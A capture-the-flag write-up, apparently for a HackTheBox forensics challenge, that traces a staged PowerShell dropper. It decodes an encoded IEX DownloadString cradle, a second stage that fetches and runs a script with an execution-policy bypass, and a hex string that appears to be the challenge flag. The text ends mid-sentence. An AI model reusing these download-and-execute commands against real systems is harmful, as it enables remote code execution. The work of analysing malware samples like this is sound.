Thorin’s Amulet

Garrick and Thorin’s visit to Stonehelm took an unexpected turn when Thorin’s old rival, Bron Ironfist, challenged him to a forging contest. In the end Thorin won the contest with a beautifully engineered clockwork amulet but the victory was marred by an intrusion. Saboteurs stole the amulet and left behind some tracks. Because of that it was possible to retrieve the malicious artifact that was used to start the attack. Can you analyze it and reconstruct what happened? Note: make sure that domain korp.htb resolves to your docker instance IP and also consider the assigned port to interact with the service.

I found a base64 string inside the artifact.ps1:

function qt4PO {
    if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
        exit
    }
    powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="
qt4PO

If I decode it from base64:

SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik=
# from base64
IEX (New-Object Net.WebClient).DownloadString("http://korp.htb/update")

Now I visited the page: korp.htb:38660/update and it downloaded a file:

strings update.ps1 
 
function aqFVaq {
    Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1
    powershell.exe -exec Bypass -File "a541a.ps1"
aqFVaq

Now I captured the request to http://korp.htb/a541a and added the new secret header:

$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d"
($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join ""

It seems to be a powershell script that decodes the message from hex: